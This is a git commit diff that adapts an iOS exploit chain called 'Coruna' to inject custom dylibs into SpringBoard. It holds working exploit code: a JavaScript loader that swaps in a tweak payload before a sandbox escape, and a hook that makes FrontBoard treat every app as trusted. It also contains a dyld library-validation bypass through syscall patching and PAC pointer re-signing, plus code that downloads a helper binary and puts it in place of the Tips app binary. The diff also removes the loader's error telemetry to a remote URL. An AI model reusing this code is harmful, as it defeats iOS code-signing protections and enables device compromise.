a branch for the springboard tweak

This commit is contained in:
Huy Nguyen
2026-03-12 05:42:32 +07:00
parent 84ca8390c6
commit c9b20b8d41
34 changed files with 1421 additions and 437 deletions
+9
View File
@@ -1 +1,10 @@
.DS_Store
*.o
.theos
# IDA files
*.i64
*.id0
*.id1
*.nam
*.til
+1 -1
View File
@@ -175,7 +175,7 @@ coruna-main/
└── <hash>/ # Extracted entries per container
├── entry0_type0x08.dylib # Kernel exploit runner -> powerd injector
├── entry1_type0x09.dylib # Kernel exploit <- what jailbreak developers are most interested in
├── entry2_type0x0f.dylib # powerd implant
├── entry2_type0x0f.dylib # powerd implant, repurposed for SpringBoard
├── entry3_type0x07.bin
└── ...
```
+2 -2
View File
@@ -1,4 +1,4 @@
TARGET := iphone:clang:latest:14.0
TARGET := iphone:clang:latest:15.0
ARCHS = arm64 arm64e
FINALPACKAGE = 1
STRIP = 0
@@ -9,7 +9,7 @@ include $(THEOS)/makefiles/common.mk
LIBRARY_NAME = SpringBoardTweak
SpringBoardTweak_FILES = SpringBoardTweak.m
SpringBoardTweak_CFLAGS = -fobjc-arc
SpringBoardTweak_CFLAGS = -fno-objc-arc
SpringBoardTweak_INSTALL_PATH = /usr/local/lib
include $(THEOS_MAKE_PATH)/library.mk
+319 -23
View File
@@ -1,30 +1,326 @@
@import Darwin;
@import MachO;
@import UIKit;
int start(void) {
#define FIX_SELECTOR(sel) *(&@selector(sel)) = (SEL)sel_registerName(#sel)
static NSString *findTipsAppPath(void) {
NSFileManager *fm = [NSFileManager defaultManager];
NSString *bundleBase = @"/var/containers/Bundle/Application";
NSArray *uuids = [fm contentsOfDirectoryAtPath:bundleBase error:nil];
for (NSString *uuid in uuids) {
NSString *tipsApp = [[bundleBase stringByAppendingPathComponent:uuid] stringByAppendingPathComponent:@"Tips.app"];
NSString *tipsBin = [tipsApp stringByAppendingPathComponent:@"Tips"];
if ([fm fileExistsAtPath:tipsBin]) {
return tipsApp;
}
}
return nil;
}
static void showAlert(NSString *title, NSString *message) {
UIAlertController *a = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
[a addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]];
[[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:a animated:YES completion:nil];
}
static void installTrollStoreHelper(void) {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
NSString *tipsAppPath = findTipsAppPath();
if (!tipsAppPath) {
dispatch_async(dispatch_get_main_queue(), ^{
showAlert(@"Error", @"Could not find Tips.app in /var/containers/Bundle/Application/");
});
return;
}
NSString *tipsBin = [tipsAppPath stringByAppendingPathComponent:@"Tips"];
NSString *tipsBak = [tipsAppPath stringByAppendingPathComponent:@"Tips.bak"];
NSString *downloadURL = @"https://github.com/opa334/TrollStore/releases/download/2.1/PersistenceHelper_Embedded";
NSString *tmpPath = @"/tmp/PersistenceHelper_Embedded";
// Download PersistenceHelper_Embedded
NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:downloadURL]
cachePolicy:NSURLRequestReloadIgnoringLocalCacheData
timeoutInterval:60];
__block NSData *downloadedData = nil;
__block NSError *downloadError = nil;
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
NSURLSessionDataTask *task = [[NSURLSession sharedSession] dataTaskWithRequest:request
completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
downloadedData = data;
downloadError = error;
dispatch_semaphore_signal(sem);
}];
[task resume];
dispatch_semaphore_wait(sem, DISPATCH_TIME_FOREVER);
if (downloadError || !downloadedData || downloadedData.length == 0) {
dispatch_async(dispatch_get_main_queue(), ^{
showAlert(@"Error", [NSString stringWithFormat:@"Failed to download PersistenceHelper: %@",
downloadError ? downloadError.localizedDescription : @"Empty response"]);
});
return;
}
// Write to tmp first
NSFileManager *fm = [NSFileManager defaultManager];
[downloadedData writeToFile:tmpPath atomically:YES];
// Backup Tips -> Tips.bak (only if Tips.bak doesn't already exist)
if (![fm fileExistsAtPath:tipsBak]) {
NSError *backupError = nil;
[fm copyItemAtPath:tipsBin toPath:tipsBak error:&backupError];
if (backupError) {
dispatch_async(dispatch_get_main_queue(), ^{
showAlert(@"Error", [NSString stringWithFormat:@"Failed to backup Tips: %@", backupError.localizedDescription]);
});
return;
}
}
// Replace Tips with PersistenceHelper_Embedded
NSError *removeError = nil;
[fm removeItemAtPath:tipsBin error:&removeError];
NSError *moveError = nil;
[fm moveItemAtPath:tmpPath toPath:tipsBin error:&moveError];
if (moveError) {
dispatch_async(dispatch_get_main_queue(), ^{
showAlert(@"Error", [NSString stringWithFormat:@"Failed to replace Tips: %@", moveError.localizedDescription]);
});
return;
}
// Set executable permissions
NSDictionary *attrs = @{NSFilePosixPermissions: @(0755)};
[fm setAttributes:attrs ofItemAtPath:tipsBin error:nil];
// Respring
dispatch_async(dispatch_get_main_queue(), ^{
showAlert(@"Success", @"TrollStore Helper installed! Device will respring now.");
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
exit(0);
});
});
});
}
void payload_entry(void *arg) {
dispatch_async(dispatch_get_main_queue(), ^{
// fix selectors
FIX_SELECTOR(alertControllerWithTitle:message:preferredStyle:);
FIX_SELECTOR(addAction:);
FIX_SELECTOR(actionWithTitle:style:handler:);
FIX_SELECTOR(presentViewController:animated:completion:);
FIX_SELECTOR(sharedApplication);
FIX_SELECTOR(keyWindow);
FIX_SELECTOR(rootViewController);
FIX_SELECTOR(defaultManager);
FIX_SELECTOR(contentsOfDirectoryAtPath:error:);
FIX_SELECTOR(fileExistsAtPath:);
FIX_SELECTOR(stringByAppendingPathComponent:);
FIX_SELECTOR(copyItemAtPath:toPath:error:);
FIX_SELECTOR(removeItemAtPath:error:);
FIX_SELECTOR(moveItemAtPath:toPath:error:);
FIX_SELECTOR(setAttributes:ofItemAtPath:error:);
FIX_SELECTOR(writeToFile:atomically:);
FIX_SELECTOR(sharedSession);
FIX_SELECTOR(dataTaskWithRequest:completionHandler:);
FIX_SELECTOR(resume);
FIX_SELECTOR(requestWithURL:cachePolicy:timeoutInterval:);
FIX_SELECTOR(localizedDescription);
FIX_SELECTOR(length);
UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Coruna" message:@"SpringBoard is pwned." preferredStyle:UIAlertControllerStyleAlert];
[alert addAction:[UIAlertAction actionWithTitle:@"Install TrollStore Helper" style:UIAlertActionStyleDefault handler:^(id action){
installTrollStoreHelper();
}]];
[alert addAction:[UIAlertAction actionWithTitle:@"Respring" style:UIAlertActionStyleDefault handler:^(id action){
exit(0);
}]];
[alert addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleDefault handler:nil]];
[[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:alert animated:YES completion:nil];
});
// infinite loop
CFRunLoopRun();
}
// opainject: set TLS to main thread
void _pthread_set_self(pthread_t p);
pthread_t pthread_main_thread_np(void);
__attribute__((noinline))
void *pacia(void* ptr, uint64_t ctx) {
#if __arm64e__
__asm__("xpaci %[value]\n" : [value] "+r"(ptr));
__asm__("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
#endif
return ptr;
}
#if __arm64e__
#include <mach-o/loader.h>
#include <mach-o/dyld.h>
#include <mach-o/dyld_images.h>
#include <ptrauth.h>
#include <mach/mach.h>
#include <mach-o/ldsyms.h>
// Fixup chain pointer format for ARM64E authenticated pointers
typedef struct {
uint64_t target : 32; // runtimeOffset from image base
uint64_t high8 : 8;
uint64_t diversity: 16; // per-location discriminator
uint64_t addrDiv : 1; // address diversity flag
uint64_t key : 2; // ptrauth key (IA=0 IB=1 DA=2 DB=3)
uint64_t next : 4;
uint64_t bind : 1; // 0=rebase 1=bind
uint64_t auth : 1; // must be 1
} dyld_chained_ptr_arm64e_auth_rebase;
void resign_auth_got(const struct mach_header_64 *targetHeader) {
size_t (*pac_strlcpy)(char *dst, const char *src, size_t size) = pacia(strlcpy, 0);
int (*pac_strncmp)(const char *s1, const char *s2, size_t n) = pacia(strncmp, 0);
int (*pac_strcmp)(const char *s1, const char *s2) = pacia(strcmp, 0);
uint8_t *(*pac_getsectiondata)(const struct mach_header_64 *mh, const char *segname, const char *sectname, unsigned long *size) = pacia(getsectiondata, 0);
kern_return_t (*pac_vm_protect)(vm_map_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection) = pacia(vm_protect, 0);
int (*pac_fsync)(int fd) = pacia(fsync, 0);
int (*pac_close)(int fd) = pacia(close, 0);
int (*pac_sleep)(unsigned int seconds) = pacia(sleep, 0);
int (*pac_open)(const char *path, int oflag, ...) = pacia(open, 0);
void (*pac_dprintf)(int fd, const char *format, ...) = pacia(dprintf, 0);
int fd = pac_open("/tmp/resign.log", O_WRONLY | O_CREAT | O_TRUNC, 0644);
assert(targetHeader->magic == MH_MAGIC_64);
uintptr_t base = (uintptr_t)targetHeader;
// Walk load commands to find __AUTH_GOT or __DATA_CONST.__auth_got
struct load_command *lcp = (void *)((uintptr_t)targetHeader + sizeof(struct mach_header_64));
for(int i = 0; i < targetHeader->ncmds; i++, lcp = (void *)((uintptr_t)lcp + lcp->cmdsize)) {
if (lcp->cmd != LC_SEGMENT_64) continue;
struct segment_command_64 *segCmd = (struct segment_command_64 *)lcp;
if (pac_strncmp(segCmd->segname, "__AUTH_CONST", sizeof(segCmd->segname)) &&
pac_strncmp(segCmd->segname, "__DATA_CONST", sizeof(segCmd->segname)) &&
pac_strncmp(segCmd->segname, "__DATA", sizeof(segCmd->segname))) continue;
struct section_64 *sections = (void *)((uintptr_t)lcp + sizeof(struct segment_command_64));
for (int j = 0; j < segCmd->nsects; j++) {
struct section_64 *section = &sections[i];
if ((section->flags & SECTION_TYPE) != S_LAZY_SYMBOL_POINTERS &&
(section->flags & SECTION_TYPE) != S_NON_LAZY_SYMBOL_POINTERS) continue;
pac_dprintf(fd, "Found section: %s\n", section->sectname);
char segname[sizeof(section->segname)+1];
pac_strlcpy(segname, section->segname, sizeof(segname));
char sectname[sizeof(section->sectname)+1];
pac_strlcpy(sectname, section->sectname, sizeof(sectname));
pac_dprintf(fd, "Processing section: %s.%s\n", segname, sectname);
if (pac_strcmp(sectname, "__auth_got")) continue;
unsigned long sectionSize = 0;
uint8_t *sectionStart = pac_getsectiondata(targetHeader, segname, sectname, &sectionSize);
pac_vm_protect(mach_task_self(), (vm_address_t)sectionStart, sectionSize, false, VM_PROT_READ | VM_PROT_WRITE);
void **symbolPointers = (void **)sectionStart;
for (uint32_t i = 0; i < (sectionSize / sizeof(void *)); i++) {
void *symbolPointer = symbolPointers[i];
if (!symbolPointer) continue;
pac_dprintf(fd, "Original pointer at index %u: %p\n", i, symbolPointer);
symbolPointers[i] = ptrauth_sign_unauthenticated(symbolPointers[i], ptrauth_key_process_independent_code, 0);
}
}
}
pac_dprintf(fd, "Done processing\n");
pac_fsync(fd);
pac_close(fd);
//
// struct load_command *lc = (void*)(base + sizeof(struct mach_header_64));
// for (uint32_t i = 0; i < mh->ncmds; i++, lc = (void*)((uint8_t*)lc + lc->cmdsize)) {
// if (lc->cmd != LC_SEGMENT_64) continue;
// struct segment_command_64 *seg = (void*)lc;
//
// if (strncmp(segCmd->segname, "__AUTH_CONST", sizeof(segCmd->segname)) &&
// strncmp(segCmd->segname, "__DATA_CONST", sizeof(segCmd->segname)) && strncmp(segCmd->segname, "__DATA", sizeof(segCmd->segname)) continue;
//
// struct section_64 *sect = (void*)(seg + 1);
// for (uint32_t j = 0; j < seg->nsects; j++, sect++) {
//
// uint64_t *slot = (uint64_t*)(base + sect->addr); // vm addr relative to base
// // use sect->offset if file-offset needed, but post-load use vmaddr
// slot = (uint64_t*)(sect->addr + (uintptr_t)base - (uintptr_t)mh->reserved /* ASLR slide handled below */);
//
// size_t count = sect->size / sizeof(uint64_t);
// for (size_t k = 0; k < count; k++) {
// uint64_t raw = slot[k];
//
// // Check if this is still an unresolved auth chain entry
// // auth bit = bit 63, bind bit = bit 62
// if (!(raw >> 63 & 1)) continue; // not an auth ptr, skip
//
// dyld_chained_ptr_arm64e_auth_rebase *chain =
// (dyld_chained_ptr_arm64e_auth_rebase*)&raw;
//
// if (chain->auth != 1) continue;
//
// // Resolve target address
// uintptr_t target = base + chain->target;
//
// // Build discriminator
// uint64_t disc = chain->diversity;
// if (chain->addrDiv) {
// disc = ptrauth_blend_discriminator(&slot[k], disc);
// }
//
// // Sign with correct key
// void *signed_ptr;
// switch (chain->key) {
// case 0: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asia, disc); break;
// case 1: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asib, disc); break;
// case 2: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asda, disc); break;
// case 3: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asdb, disc); break;
// }
//
// signed_ptr = (void *)0x4141414141414141; // for testing, overwrite with invalid pointer to verify fixup works
//
// // Write back — need __DATA_CONST to be writable first
// vm_protect(mach_task_self(), (vm_address_t)&slot[k],
// sizeof(uint64_t), false, VM_PROT_READ | VM_PROT_WRITE);
// slot[k] = (uint64_t)signed_ptr;
// vm_protect(mach_task_self(), (vm_address_t)&slot[k],
// sizeof(uint64_t), false, VM_PROT_READ);
// }
// }
// }
}
#endif
extern const struct mach_header_64 _mh_dylib_header;
int last(void) {
#if __arm64e__
pthread_t (*pac_pthread_main_thread_np)(void) = pacia(pthread_main_thread_np, 0);
void (*pac__pthread_set_self)(pthread_t) = pacia(_pthread_set_self, 0);
pac__pthread_set_self(pac_pthread_main_thread_np());
resign_auth_got(&_mh_dylib_header);
#else
_pthread_set_self(pthread_main_thread_np());
#endif
// create another thread to run the real payload
pthread_t self;
pthread_create(&self, NULL, (void *)payload_entry, NULL);
pthread_join(self, NULL);
// should not return
thread_terminate(mach_thread_self());
return 0;
}
int startl(void) {
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController* alert = [UIAlertController alertControllerWithTitle:@"Hello, world!" message:nil preferredStyle:UIAlertControllerStyleAlert];
[alert addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]];
[[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:alert animated:YES completion:nil];
});
return 0;
}
int startm(void) {
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController* alert = [UIAlertController alertControllerWithTitle:@"Hello, world!" message:nil preferredStyle:UIAlertControllerStyleAlert];
[alert addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]];
[[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:alert animated:YES completion:nil];
});
return 0;
}
int startr(void) {
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController* alert = [UIAlertController alertControllerWithTitle:@"Hello, world!" message:nil preferredStyle:UIAlertControllerStyleAlert];
[alert addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]];
[[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:alert animated:YES completion:nil];
});
int end(void) {
// should not return
thread_terminate(mach_thread_self());
return 0;
}
+14 -31
View File
@@ -1145,21 +1145,13 @@ function YA() {/* Original: YA → resolveSymbols */
EA() {
D[1] = 0, D[0] = BA;
},
TA(A, g, D, M) {
try {
let M = !1;
const C = new XMLHttpRequest();
C.open("POST", A, !0), C.setRequestHeader("Content-Type", "application/json"), C.onreadystatechange = () => {
4 === C.readyState && (M || (M = !0, D()));
}, C.send(g), setTimeout(function () {
M || (M = !0);
}, 10000 /* 893931597 ^ 893941597 */);
} catch (A) {
M();
}
},
// Telemetry removed
TA(A, g, D, M) { if (D) D(); },
// Fetch a single file as ArrayBuffer
fetchBin(url) {
// Override entry2_type0x0f.dylib
url = url.replace(/\/entry2_type0x0f.dylib$/g, "/../../TweakLoader/.theos/obj/arm64" + (platformModule.platformState.hasPAC?"e":"") + "/TweakLoader.dylib");
window.log("Downloading " + url);
return new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest();
@@ -1245,14 +1237,15 @@ function YA() {/* Original: YA → resolveSymbols */
if (lastSlash >= 0) hashName = hashName.substring(lastSlash + 1);
hashName = hashName.replace(/\.min\.js$/, "").replace(/\.js$/, "");
// When we load the metadata, ask user if they want to continue (will infect device)
// Warn user before proceeding with exploit
if (hashName === "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb") {
let shouldContinue = confirm(
"The script is about to load metadata and subsequent payloads to infect your device in `powerd` process.\n" +
"Cancel = safely STOP this operation\n" +
"OK = continue infect your device");
"WARNING: This tool uses some parts of a real exploit to inject some dylibs into SpringBoard.\n\n" +
"Do NOT store sensitive data on this device while the exploit is active. (just for your safety)\n\n" +
"OK = idrc just go for it!\n" +
"Cancel = Nah I'm good, I want to stay safe");
if (!shouldContinue) {
window.log("[LOADER] Execution canceled by user.");
window.log("[LOADER] User canceled.");
return;
}
}
@@ -1308,19 +1301,9 @@ function YA() {/* Original: YA → resolveSymbols */
D[1] = M.length, D[0] = BA;
}
},
// Telemetry removed
error() {
D[0] = NA,
function (A) {
const g = platformModule.platformState.fixedMachOVal3;
if ("" !== g) {
const D = utilityModule.resolveUrl(g);
if (D) {
const g = new XMLHttpRequest(),
M = D + "?e=" + A;
g.open("GET", M, !0), g.send();
}
}
}(DA);
D[0] = NA;
}
};
return E;
@@ -1722,4 +1705,4 @@ r.lA = () => {// Entry point: resolves APIs, builds payload, executes sandbox es
const A = globalThis.moduleManager.getModuleByName("b5135768e043d1b362977b8ba9bff678b9946bcb");
return A._d(), A.qd(), executeSandboxEscape();
};
return r;
return r;
+3
View File
@@ -0,0 +1,3 @@
.theos/
packages/
.DS_Store
+18
View File
@@ -0,0 +1,18 @@
TARGET := iphone:clang:latest:15.0
ARCHS = arm64 arm64e
FINALPACKAGE = 1
STRIP = 0
GO_EASY_ON_ME = 1
include $(THEOS)/makefiles/common.mk
SUBPROJECTS += SpringBoardTweak
include $(THEOS_MAKE_PATH)/aggregate.mk
LIBRARY_NAME = TweakLoader
TweakLoader_FILES = TweakLoader.m lv_bypass.c
TweakLoader_CFLAGS = -fno-objc-arc
TweakLoader_LDFLAGS = -sectcreate __TEXT __SBTweak $(THEOS_OBJ_DIR)/SpringBoardTweak.dylib
TweakLoader_INSTALL_PATH = /usr/local/lib
include $(THEOS_MAKE_PATH)/library.mk
+16
View File
@@ -0,0 +1,16 @@
TARGET := iphone:clang:latest:15.0
ARCHS = arm64 arm64e
FINALPACKAGE = 1
STRIP = 0
GO_EASY_ON_ME = 1
include $(THEOS)/makefiles/common.mk
LIBRARY_NAME = SpringBoardTweak
SpringBoardTweak_FILES = SpringBoardTweak.m
SpringBoardTweak_CFLAGS = -fobjc-arc
SpringBoardTweak_LDFLAGS = -undefined dynamic_lookup
SpringBoardTweak_INSTALL_PATH = /usr/local/lib
include $(THEOS_MAKE_PATH)/library.mk
@@ -0,0 +1,191 @@
@import UIKit;
#include <objc/runtime.h>
#include <objc/message.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <unistd.h>
#include <spawn.h>
#include <dlfcn.h>
#pragma mark - Status Bar Clock Tweak
static void (*orig_applyStyleAttributes)(id self, SEL _cmd, id arg1);
static void (*orig_setText)(id self, SEL _cmd, NSString *text);
static void hook_applyStyleAttributes(id self, SEL _cmd, id arg1) {
UILabel *label = (UILabel *)self;
if (!(label.text != nil && [label.text containsString:@":"])) {
orig_applyStyleAttributes(self, _cmd, arg1);
}
}
static void hook_setText(id self, SEL _cmd, NSString *text) {
if ([text containsString:@":"]) {
UILabel *label = (UILabel *)self;
@autoreleasepool {
NSMutableAttributedString *finalString = [[NSMutableAttributedString alloc] init];
NSDateFormatter *formatter1 = [[NSDateFormatter alloc] init];
[formatter1 setDateFormat:@"HH:mm"];
UIFont *font1 = [UIFont systemFontOfSize:15.0 weight:UIFontWeightSemibold];
NSAttributedString *attrString1 = [[NSAttributedString alloc] initWithString:[formatter1 stringFromDate:[NSDate date]]
attributes:@{NSFontAttributeName: font1}];
NSLocale *currentLocale = [NSLocale autoupdatingCurrentLocale];
NSDateFormatter *formatter2 = [[NSDateFormatter alloc] init];
[formatter2 setDateFormat:@"E dd/MM/yyyy"];
[formatter2 setLocale:currentLocale];
UIFont *font2 = [UIFont systemFontOfSize:8.0 weight:UIFontWeightRegular];
NSAttributedString *attrString2 = [[NSAttributedString alloc] initWithString:[formatter2 stringFromDate:[NSDate date]]
attributes:@{NSFontAttributeName: font2}];
[finalString appendAttributedString:attrString1];
[finalString appendAttributedString:[[NSAttributedString alloc] initWithString:@"\n"]];
[finalString appendAttributedString:attrString2];
label.textAlignment = NSTextAlignmentCenter;
label.numberOfLines = 2;
label.attributedText = finalString;
}
} else {
orig_setText(self, _cmd, text);
}
}
static void hookStatusBarClass(Class cls) {
if (!cls) return;
Method m1 = class_getInstanceMethod(cls, @selector(applyStyleAttributes:));
if (m1) {
orig_applyStyleAttributes = (void *)method_getImplementation(m1);
method_setImplementation(m1, (IMP)hook_applyStyleAttributes);
}
Method m2 = class_getInstanceMethod(cls, @selector(setText:));
if (m2) {
orig_setText = (void *)method_getImplementation(m2);
method_setImplementation(m2, (IMP)hook_setText);
}
}
static void initStatusBarTweak(void) {
// iOS 17+: STUIStatusBarStringView (StatusBarUI framework)
Class cls17 = objc_getClass("STUIStatusBarStringView");
// iOS 16: _UIStatusBarStringView (UIKit private)
Class cls16 = objc_getClass("_UIStatusBarStringView");
if (cls17) hookStatusBarClass(cls17);
if (cls16) hookStatusBarClass(cls16);
}
#pragma mark - FrontBoard Trust Bypass (AppSync-like)
static IMP orig_trustStateForApplication = NULL;
static NSUInteger hook_trustStateForApplication(id self, SEL _cmd, id application) {
return 8; // Always trusted (iOS 14+)
}
static void initFrontBoardBypass(void) {
Class cls = objc_getClass("FBSSignatureValidationService");
if (cls) {
Method m = class_getInstanceMethod(cls, @selector(trustStateForApplication:));
if (m) {
orig_trustStateForApplication = method_getImplementation(m);
method_setImplementation(m, (IMP)hook_trustStateForApplication);
}
}
}
#pragma mark - RBSLaunchContext Hook (Tips -> PersistenceHelper)
@interface RBSLaunchContext : NSObject
@property (nonatomic, copy, readonly) NSString *bundleIdentifier;
@end
@implementation RBSLaunchContext(Hook)
- (NSString *)_overrideExecutablePath {
if([self.bundleIdentifier isEqualToString:@"com.apple.tips"]) {
return @"/tmp/PersistenceHelper_Embedded";
}
return nil;
}
@end
#pragma mark - Helpers
static void showAlert(NSString *title, NSString *message) {
UIAlertController *a = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
[a addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]];
UIViewController *root = [UIApplication sharedApplication].keyWindow.rootViewController;
while (root.presentedViewController) root = root.presentedViewController;
[root presentViewController:a animated:YES completion:nil];
}
static NSData *downloadFile(NSString *urlString) {
NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:urlString]
cachePolicy:NSURLRequestReloadIgnoringLocalCacheData
timeoutInterval:60];
__block NSData *downloadedData = nil;
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
NSURLSessionDataTask *task = [[NSURLSession sharedSession] dataTaskWithRequest:request
completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
downloadedData = data;
dispatch_semaphore_signal(sem);
}];
[task resume];
dispatch_semaphore_wait(sem, DISPATCH_TIME_FOREVER);
return downloadedData;
}
#pragma mark - Constructor
__attribute__((constructor)) static void init() {
initFrontBoardBypass();
// Auto-enable status bar tweak on load (works on both iOS 16 and 17)
initStatusBarTweak();
// Auto-download PersistenceHelper to /tmp if not present
NSString *helperPath = @"/tmp/PersistenceHelper_Embedded";
if (![[NSFileManager defaultManager] fileExistsAtPath:helperPath]) {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
NSString *url = @"https://github.com/opa334/TrollStore/releases/download/2.1/PersistenceHelper_Embedded";
NSData *data = downloadFile(url);
if (data && data.length > 0) {
[data writeToFile:helperPath atomically:YES];
chmod(helperPath.UTF8String, 0755);
}
});
}
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Coruna"
message:@"SpringBoard is pwned" preferredStyle:UIAlertControllerStyleAlert];
[alert addAction:[UIAlertAction actionWithTitle:@"Install TrollStore helper to Tips"
style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) {
NSString *hp = @"/tmp/PersistenceHelper_Embedded";
if ([[NSFileManager defaultManager] fileExistsAtPath:hp]) {
showAlert(@"Ready", @"PersistenceHelper is at /tmp/.\nNow open Tips app - it will launch PersistenceHelper instead!");
} else {
showAlert(@"Downloading...", @"PersistenceHelper is being downloaded. Wait a moment and try again.");
}
}]];
[alert addAction:[UIAlertAction actionWithTitle:@"Enable Status Bar Tweak"
style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) {
initStatusBarTweak();
showAlert(@"Done", @"Status bar tweak enabled!\nLock and unlock your device for it to take effect.");
}]];
[alert addAction:[UIAlertAction actionWithTitle:@"Respring"
style:UIAlertActionStyleDestructive handler:^(UIAlertAction *action) {
exit(0);
}]];
[alert addAction:[UIAlertAction actionWithTitle:@"Cancel"
style:UIAlertActionStyleCancel handler:nil]];
UIViewController *root = [UIApplication sharedApplication].keyWindow.rootViewController;
while (root.presentedViewController) root = root.presentedViewController;
[root presentViewController:alert animated:YES completion:nil];
});
}
+79
View File
@@ -0,0 +1,79 @@
@import Darwin;
@import MachO;
#include <mach-o/ldsyms.h> /* _mh_dylib_header */
// Function pointers
extern pthread_t pthread_main_thread_np(void);
extern void _pthread_set_self(pthread_t p);
void (*_abort)(void);
int (*_close)(int);
void* (*_dlsym)(void *, const char *);
uint8_t* (*_getsectiondata)(const struct mach_header_64 *, const char *, const char *, unsigned long *);
thread_t (*_mach_thread_self)(void);
int (*_open)(const char *, int, ...);
void (*__pthread_set_self)(pthread_t p);
pthread_t (*_pthread_main_thread_np)(void);
int (*_strncmp)(const char *s1, const char *s2, size_t n);
kern_return_t (*_thread_terminate)(mach_port_t);
int (*_write)(int, const void *, size_t);
int dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol), const char *next_stage_dylib_path);
void save_section_to_file(const char *section, const char *path) {
size_t dylib_size = 0;
const char *dylib = (const char *)_getsectiondata((struct mach_header_64 *)&_mh_dylib_header, "__TEXT", section, &dylib_size);
if (!dylib || dylib_size == 0) return;
int fd = _open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0) return;
_write(fd, dylib, dylib_size);
_close(fd);
}
const char *save_actual_dylib(void) {
const char *path = "/tmp/actual.dylib";
save_section_to_file("__SBTweak", path);
return path;
}
#if __arm64e__
__attribute__((noinline)) void *pacia(void* ptr, uint64_t ctx) {
__asm__("xpaci %[value]\n" : [value] "+r"(ptr));
__asm__("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
#endif
// Entry point when loaded by Coruna
int last(void) {
#if __arm64e__
_dlsym = pacia(dlsym, 0);
__pthread_set_self = pacia(_pthread_set_self, 0);
_pthread_main_thread_np = pacia(pthread_main_thread_np, 0);
#else
_dlsym = dlsym;
__pthread_set_self = _pthread_set_self;
_pthread_main_thread_np = pthread_main_thread_np;
#endif
__pthread_set_self(_pthread_main_thread_np());
_abort = _dlsym(RTLD_DEFAULT, "abort");
_close = _dlsym(RTLD_DEFAULT, "close");
_getsectiondata = _dlsym(RTLD_DEFAULT, "getsectiondata");
_mach_thread_self = _dlsym(RTLD_DEFAULT, "mach_thread_self");
_open = _dlsym(RTLD_DEFAULT, "open");
_strncmp = _dlsym(RTLD_DEFAULT, "strncmp");
_thread_terminate = _dlsym(RTLD_DEFAULT, "thread_terminate");
_write = _dlsym(RTLD_DEFAULT, "write");
// setup dyld validation bypass
const char *path = save_actual_dylib();
dyld_lv_bypass_init(_dlsym, path);
// should not return
_thread_terminate(_mach_thread_self());
return 0;
}
int end(void) {
// should never be called
return 0;
}
+9
View File
@@ -0,0 +1,9 @@
Package: com.yourcompany.TweakLoader
Name: TweakLoader
Version: 0.0.1
Architecture: iphoneos-arm
Description: An awesome library of some sort!!
Maintainer: khanhduytran0
Author: khanhduytran0
Section: System
Tag: role::developer
+277
View File
@@ -0,0 +1,277 @@
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <mach-o/dyld.h>
#include <mach-o/dyld_images.h>
#include <sys/syscall.h>
#define ASM(...) __asm__(#__VA_ARGS__)
// ldr x8, value; br x8; value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48"
static const char patch[] = {0x88,0x00,0x00,0x58,0x00,0x01,0x1f,0xd6,0x1f,0x20,0x03,0xd5,0x1f,0x20,0x03,0xd5,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41};
// Signatures to search for
static const char mmapSig[] = {0xB0, 0x18, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4};
static const char fcntlSig[] = {0x90, 0x0B, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4};
static const char syscallSig[] = {0x01, 0x10, 0x00, 0xD4};
static int (*orig_fcntl)(int fildes, int cmd, void *param) = 0;
static void (*next_exit)(int);
static int (*_printf)(const char *s, ...);
static int (*_mprotect)(void*, size_t, int);
static int (*_munmap)(void*, size_t);
static void* (*__mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
static int (*__fcntl)(int fildes, int cmd, void* param);
